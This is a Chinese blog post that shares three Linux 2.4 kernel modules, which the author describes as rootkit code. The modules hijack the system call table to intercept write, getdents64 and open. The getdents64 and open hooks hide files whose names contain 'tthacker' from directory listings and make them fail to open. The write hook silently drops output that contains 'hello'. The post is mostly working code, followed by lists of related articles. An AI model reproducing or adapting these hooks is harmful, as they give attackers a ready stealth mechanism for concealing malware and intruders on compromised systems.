HOOK Linux

最新推荐文章于 2024-12-04 09:15:00 发布
最新推荐文章于 2024-12-04 09:15:00 发布
阅读量786 收藏
点赞数
文章标签： hook descriptor table struct system module
不打算用module来写rookit了,把有用的代码公布下,很简单,希望对初学者有用:
 
以下代码在2.4内核下测试成功
 
 
 
 
 

1, 截获write系统调用:

# ifndef MODULE
# define MODULE
# endif
                                                                              
# ifndef __KERNEL__
# define __KERNEL__
# endif
# include < linux/ init. h>
# include < linux/ module. h>
# include < linux/ version. h>
# include < linux/ kernel. h>
# include < asm / unistd. h>
# include < linux/ slab. h>
/*
#include <sys/types.h>
#include <asm/fcntl.h>
#include <linux/malloc.h>
#include <linux/types.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <asm/errno.h>
#include <sys/syscall.h>
*/
MODULE_LICENSE( "GPL" ) ;
struct descriptor_idt
{
        unsigned short offset_low;
        unsigned short ignore1;
        unsigned short ignore2;
        unsigned short offset_high;
} ;
static struct {
        unsigned short limit;
        unsigned long base;
} __attribute__ ( ( packed) ) idt48;

static unsigned int SYS_CALL_TABLE_ADDR;
void * * sys_call_table;
int base_system_call;
int ( * orig_write) ( unsigned int fd, char * buf, unsigned int count ) ;
unsigned char opcode_call[ 3] = { 0xff, 0x14, 0x85} ;
int match( unsigned char * source)
{
        int i;
        for ( i= 0; i< 3; i+ + ) {
                if ( source[ i] ! = opcode_call[ i] )
                        return 0;
        }
        return 1;
}
int get_sys_call_table( void )
{
        int i, j;
        unsigned char * ins= ( unsigned char * ) base_system_call;
        unsigned int sct;
                                                                              
        for ( i= 0; i< 100; i+ + ) {
                if ( ins[ i] = = opcode_call[ 0] ) {
                        if ( match( ins+ i) ) {
                                sct= * ( ( unsigned int * ) ( ins+ 3+ i) ) ;
                                printk( KERN_ALERT "sys_call_tabl's address is
0x%X/n" , sct) ;
                                return sct;
                        }
                }
        }
                                                                              
        printk( KERN_ALERT "can't find the address of sys_call_table/n" ) ;
        return - 1;
}
int hacked_write( unsigned int fd, char * buf, unsigned int count )
{
 char * hide= "hello" ;

 if ( strstr ( buf, hide) ! = NULL ) {
  printk( KERN_ALERT "find name./n" ) ;
  return count ;
 }
 else {
  return orig_write( fd, buf, count ) ;
 }
}
int init_module( void )
{
        __asm__ volatile ( "sidt %0" : "=m" ( idt48) ) ;
        struct descriptor_idt * pIdt80 = ( struct descriptor_idt * ) ( idt48. base + 8* 0x80) ;
        base_system_call = ( pIdt80- > offset_high< < 16 | pIdt80- > offset_low) ;
        printk( KERN_ALERT "system_call address at 0x%x/n" , base_system_call) ;
 SYS_CALL_TABLE_ADDR= get_sys_call_table( ) ;
 sys_call_table= ( void * * ) SYS_CALL_TABLE_ADDR;
 orig_write= sys_call_table[ __NR_write] ;
 sys_call_table[ __NR_write] = hacked_write;
        return 0;
}
void cleanup_module( )
{
 sys_call_table[ __NR_write] = orig_write;
}


2, 截获getdents64

# ifndef MODULE
# define MODULE
# endif
                                                                                                            
# ifndef __KERNEL__
# define __KERNEL__
# endif
# include < linux/ init. h>
# include < linux/ module. h>
# include < linux/ version. h>
# include < linux/ kernel. h>
# include < linux/ dirent. h>
# include < linux/ fs. h>
# include < linux/ types. h>
# include < linux/ slab. h>
# include < linux/ string . h>
# include < linux/ proc_fs. h>
# include < asm / unistd. h>
# include "uaccess.h"
                                                                                                            
MODULE_LICENSE( "GPL" ) ;
                                                                                
struct linux_dirent64 {
        u64 d_ino;
        s64 d_off;
        unsigned short d_reclen;
        unsigned char d_type;
        char d_name[ 0] ;
} ;

//static inline _syscall3(int, getdents64, uint, fd, void *, dirp, uint, count);
asmlinkage long ( * orig_getdents64) ( unsigned int , void * , unsigned int ) ;
struct descriptor_idt
{
        unsigned short offset_low;
        unsigned short ignore1;
        unsigned short ignore2;
        unsigned short offset_high;
} ;
                                                                                                            
static struct {
        unsigned short limit;
        unsigned long base;
} __attribute__ ( ( packed) ) idt48;
                                                                                                            
char * hide= "tthacker" ;
                                                                                                            
static unsigned int SYS_CALL_TABLE_ADDR;
void * * sys_call_table;
                                                                                                            
int base_system_call;
                                                                                                            
unsigned char opcode_call[ 3] = { 0xff, 0x14, 0x85} ;
                                                                                                            
int match( unsigned char * source)
{
        int i;
        for ( i= 0; i< 3; i+ + ) {
                if ( source[ i] ! = opcode_call[ i] )
                        return 0;
        }
        return 1;
}
asmlinkage long hacked_getdents64( unsigned int fd, void * dirp, unsigned int count )
{
    int ret;
    int proc = 0;
    struct inode * dinode;
    char * ptr = ( char * ) dirp;
    struct linux_dirent64 * curr;
    struct linux_dirent64 * prev = NULL ;
    ret = ( * orig_getdents64) ( fd, dirp, count ) ;
    if ( ret < = 0) return ret;
                                                                                                     
    dinode = current- > files- > fd[ fd] - > f_dentry- > d_inode;
  
/*
    if(dinode->i_ino == PROC_ROOT_INO && MAJOR(dinode->i_dev) == proc_major_dev &&
       MINOR(dinode->i_dev) == proc_minor_dev)
        proc++;
*/
    while ( ptr < ( char * ) dirp + ret)
    {
        curr = ( struct linux_dirent64 * ) ptr;
                                                                                                     
        if ( strstr ( curr- > d_name, hide) ! = NULL )
        {
            if ( curr = = dirp)
            {
                ret - = curr- > d_reclen;
                memmove ( ptr + curr- > d_reclen, ptr, ret) ;
                continue ;
            }
            else
                prev- > d_reclen + = curr- > d_reclen;
        }
        else
            prev = curr;
                                                                                                     
        ptr + = curr- > d_reclen;
    }
                                                                                                     
    return ret;
}
int get_sys_call_table( void )
{
        int i, j;
        unsigned char * ins= ( unsigned char * ) base_system_call;
        unsigned int sct;
                                                                                                            
        for ( i= 0; i< 100; i+ + ) {
                if ( ins[ i] = = opcode_call[ 0] ) {
                        if ( match( ins+ i) ) {
                                sct= * ( ( unsigned int * ) ( ins+ 3+ i) ) ;
                                printk( KERN_ALERT "sys_call_tabl's address is
0x%X/n" , sct) ;
                                return sct;
                        }
                }
        }
                                                                                                            
        printk( KERN_ALERT "can't find the address of sys_call_table/n" ) ;
        return - 1;
}
int init_module( void )
{
        __asm__ volatile ( "sidt %0" : "=m" ( idt48) ) ;
                                                                                                            
        struct descriptor_idt * pIdt80 = ( struct descriptor_idt * ) ( idt48. base + 8* 0x80) ;
                                                                                                            
        base_system_call = ( pIdt80- > offset_high< < 16 | pIdt80- > offset_low) ;
                                                                                                            
        printk( KERN_ALERT "system_call address at 0x%x/n" , base_system_call) ;
                                                                                                            
        SYS_CALL_TABLE_ADDR= get_sys_call_table( ) ;
                                                                                                            
        sys_call_table= ( void * * ) SYS_CALL_TABLE_ADDR;
                                                                                                            
        orig_getdents64= sys_call_table[ __NR_getdents64] ;
        sys_call_table[ __NR_getdents64] = hacked_getdents64;
                                                                                                            
        return 0;
}

void cleanup_module( )
{
        sys_call_table[ __NR_getdents64] = orig_getdents64;
}

3, 截获open

# ifndef MODULE
# define MODULE
# endif
                                                                              
# ifndef __KERNEL__
# define __KERNEL__
# endif
# include < linux/ init. h>
# include < linux/ module. h>
# include < linux/ version. h>
# include < linux/ kernel. h>
# include < asm / unistd. h>
# include < linux/ slab. h>
/*
#include <sys/types.h>
#include <asm/fcntl.h>
#include <linux/malloc.h>
#include <linux/types.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <asm/errno.h>
#include <sys/syscall.h>
*/
MODULE_LICENSE( "GPL" ) ;
struct descriptor_idt
{
        unsigned short offset_low;
        unsigned short ignore1;
        unsigned short ignore2;
        unsigned short offset_high;
} ;
static struct {
        unsigned short limit;
        unsigned long base;
} __attribute__ ( ( packed) ) idt48;

static unsigned int SYS_CALL_TABLE_ADDR;
void * * sys_call_table;
int base_system_call;
int ( * orig_open) ( const char * pathname, int flag, mode_t mode) ;
unsigned char opcode_call[ 3] = { 0xff, 0x14, 0x85} ;
int match( unsigned char * source)
{
        int i;
        for ( i= 0; i< 3; i+ + ) {
                if ( source[ i] ! = opcode_call[ i] )
                        return 0;
        }
        return 1;
}
int get_sys_call_table( void )
{
        int i, j;
        unsigned char * ins= ( unsigned char * ) base_system_call;
        unsigned int sct;
                                                                              
        for ( i= 0; i< 100; i+ + ) {
                if ( ins[ i] = = opcode_call[ 0] ) {
                        if ( match( ins+ i) ) {
                                sct= * ( ( unsigned int * ) ( ins+ 3+ i) ) ;
                                printk( KERN_ALERT "sys_call_tabl's address is
0x%X/n" , sct) ;
                                return sct;
                        }
                }
        }
                                                                              
        printk( KERN_ALERT "can't find the address of sys_call_table/n" ) ;
        return - 1;
}
int hacked_open( const char * pathname, int flag, mode_t mode)
{
// char *kernel_pathname;
 char * hide= "tthacker" ;
// kernel_pathname=(char *)kmalloc(1000,GFP_KERNEL);
// memcpy_fromfs(kernel_pathname,pathname,999);
 if ( strstr ( pathname, hide) ! = NULL ) {
  printk( KERN_ALERT "find name./n" ) ;
  return - ENOENT;
 }
 else {
// kfree(kernel_pathname);
  return orig_open( pathname, flag, mode) ;
 }
}
int init_module( void )
{
        __asm__ volatile ( "sidt %0" : "=m" ( idt48) ) ;
        struct descriptor_idt * pIdt80 = ( struct descriptor_idt * ) ( idt48. base + 8* 0x80) ;
        base_system_call = ( pIdt80- > offset_high< < 16 | pIdt80- > offset_low) ;
        printk( KERN_ALERT "system_call address at 0x%x/n" , base_system_call) ;
 SYS_CALL_TABLE_ADDR= get_sys_call_table( ) ;
 sys_call_table= ( void * * ) SYS_CALL_TABLE_ADDR;
 orig_open= sys_call_table[ __NR_open] ;
 sys_call_table[ __NR_open] = hacked_open;
        return 0;
}
void cleanup_module( )
{
 sys_call_table[ __NR_open] = orig_open;
}

xjtuse_mal
关注
linux应用hook实例（含源码分析）
啊渊的专栏
08-12 3005
函数地址替换是最简单的hook方式，在开发的时候发现C开发的程序和C++开发的程序hook还是有差别的。C开发的程序函数几乎是可以直接使用readelf查看，因此在查找函数偏移量的时候相对简单一些，但是如果是C++开发无法直接使用readelf命令查看函数地址，因此需要动态跟踪函数地址，找到函数偏移量然后针对该函数地址进行hook。..............................
Linux系统下的HOOK
蛇矛实验室
04-10 984
Linux系统下的HOOK
linux hook
cncnlg的专栏
05-21 4265
目录 1. 系统调用Hook简介 2. Ring3中Hook技术 3. Ring0中Hook技术 4. 后记 1. 系统调用Hook简介 系统调用属于一种软中断机制(内中断陷阱)，它有操作系统提供的功能入口(sys_call)以及CPU提供的硬件支持(int 3 trap)共同完成。 我们必须要明白，Hook技术是一个相对较宽的话题，因为操作系统从ring3
linux 子进程hook,Linux Hook技术（五）
weixin_34564735的博客
04-30 255
今天咱们来点实战的话题,对于前面我们研究的那么多知识,做一次总结.来看看这些节表之间是怎么联系起来的.最后我们将经过一个简单的拦截printf函数,修改它的参数,来输出我指定的字符串,这样就达到简单的hook api的目的.好了废话不多说.先看看test5.c里面的代码.#include #include int main(){while (1){getchar();printf("hello")...
hook函数linux,linux 中的hook
weixin_36482976的博客
05-03 474
linux 中的hook相信熟悉windows编程的高手们都知道，windows为我们提供一些api，这些api用于hook 键盘，鼠标，消息等事件。windows的运行是来源于这些事件驱动的，所以一旦我们截获了这些事件，就可以篡改程序本来的功能了。但是在Linux中，并不存在这样的api。要抓获内核中的input事件，就必须另外编辑驱动进行额外的处理。这是以前我在工作中遇到的一个需求：在用户按下...
Linux Hook方法
vspiders的博客
09-13 1384
linux hook是一个非常常见且成熟的技术，用户态Hook的方法有很多中，本次主要记录下LD_PRELOAD动态链接库劫持方法。 LD_PRELOAD是一个全局变量，linux程序在运行时会优先加载该路径变量下的动态链接库，因此我们只需要通过设置LD_PRELOAD加载我们编写的同名函数，后续的加载过程中就会忽略后面的同名函数，从而完成对系统库的劫持。 一般情况下linux动态加载库的顺序为LD_PRELOAD>LD_LIBRARY_PATH>/etc/ld.so.cache>/l
frida hook linux应用程序
qq_41103091的博客
04-21 824
frida不仅能用在移动安全还能调试linux程序！
hook linux
07-28
在Linux中，"hook"是指通过修改或替换系统函数的方式来拦截和修改程序的行为。通过hook技术，我们可以在程序执行特定函数之前或之后注入自定义的代码，从而实现对程序的控制和修改。引用\[1\]中的代码示例展示了如何...
linux内核中的hook,【Linux内核调试】使用Ftrace来Hook linux内核函数
weixin_32050773的博客
04-29 561
目标：hook几个Linux内核函数调用，如打开文件和启动进程，并利用它来启用系统活动监控并抢先阻止可疑进程。一、方案比较1. 使用Linux安全API方法：内核代码的关键点包含安全函数调用，这些调用可能触发安全模块安装的回调，该模块可以分析特定操作的上下文，并决定是允许还是禁止它。限制：安全模块无法动态加载，所以需要重新编译内核。2. 修改系统调用表方法：所有Linux系统调用处理程序都存储在s...
Linux中的注入与Hook技术详解
最新发布
Linux内核研究者
12-04 2664
本文详细介绍了Linux中的注入与Hook技术。注入是指将代码或共享库植入目标进程，以影响其执行流程，常见方式包括使用LD_PRELOAD环境变量、ptrace系统调用等。Hook则是通过在程序的关键节点插入自定义逻辑来改变行为，实现方式有函数劫持、内联Hook及修改PLT/GOT表等。
c++钩子函数：copy hook_linux函数hook
12-27
c++钩子函数：copy hook c++调用钩子函数监视复制文件操作
Linux下的网络HOOK实现以及使用方法
03-04
本文讲述一下Linux下的Net的Hook,使用net的Hook可以实现很多很多非常底层的功能，比如过滤报文，做防火墙，做代理等等。我们知道Windows下面也有Hook的功能，但是要Hook到Net的底层，一般是使用NDIS来实现，但是Linux就提供了如此强大的功能，让我们不得不佩服Linux的伟大。几天的研究让我越来越对Linux的推崇！而且我想 Linux在嵌入式方面的应用会更加广泛！
基于Hook的动态打桩工具（Linux）
12-30
linux下方便单元测试使用的动态打桩工具、可以对全局函数、静态函数、类成员函数、类虚徐成员函数进行打桩。
linux hook技术
mijichui2153的博客
04-22 4260
Hook中文翻译为钩子，可以用来截获调用函数，并改变函数的行为。Windows和Linux都提供了相应的实现机制。这篇文章是针对Linux平台的。也是在学习协程库libco过程中接触到的。 正文： 如果你是一个开发者，并期望去改变一个库函数的行为，那么这篇文章将带你入门——只是用库函数做实验。所有的代码是用C写的，在Linux上面使用GCC编译测试。 根据维基百科，“在计算机...
Linux HOOK机制与Netfilter HOOK
Flashing-C的博客
07-18 1271
在计算机中基本所有的软件程序都可以通过hook方式进行行为拦截，hook方式就是改变原始的执行流。 Linux常见的HOOK方式：1、修改函数指针。2、用户态动态库拦截。①利用环境变量LD_PRELOAD和预装载机制进行HOOK；②利用函数ptrace可实现对已运行的程序进行HOOK；3、内核态系统调用拦截。通过修改全局系统调用表，对系统调用进行劫持；4、堆栈式文件系统拦截。5、LSM。6、Netfilter HOOK。
linux hook 技术
linuxheik的专栏
04-16 1908
#include  #include  #include  #include  #include  #include    #include    #define CLEAR_CR0    asm ("pushl %eax\n\t"             \ "movl %cr0, %eax\n\t"        \ "andl
往linux内核函数挂钩子
Herok
11-28 5555
概述 本文讲解替换一个已经在内存中的函数，使得执行流流入我们自己的逻辑，然后再调用原始的函数。比如有个函数叫做funcion，而你希望统计一下调用function的次数，最直接的方法就是如果有谁调用function的时候，调到下面这个函数就好了。 void new_function() {          count++;          return function(); } ...
Linux内核开发之hook系统调用
qq_26962739的博客
09-21 1202
本文将讨论如何hook Linux系统调用，教你如何获取系统调用表的地址以及如何利用它来实现几乎所有你想做的事情。
Linux 下Hook一个共享库函数
影音视频技术
09-23 957
有时程序员需要完成这类任务： 假如你有一个二进制版的系统，例如现在流行的android，你需要为这个系统开发一个软件。这个软件牵涉到系统行为，因此需要对系统做修改。然而你并没有这个系统的所有源码（ Nexus S的源码不一定与 android 官方版本一模一样），或者是你只有这个系统的头文件。当你需要修改部分系统行为的时候，你不可能用源码重新编译一个共享库来替换系统文件。此时，就需要利用 d
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值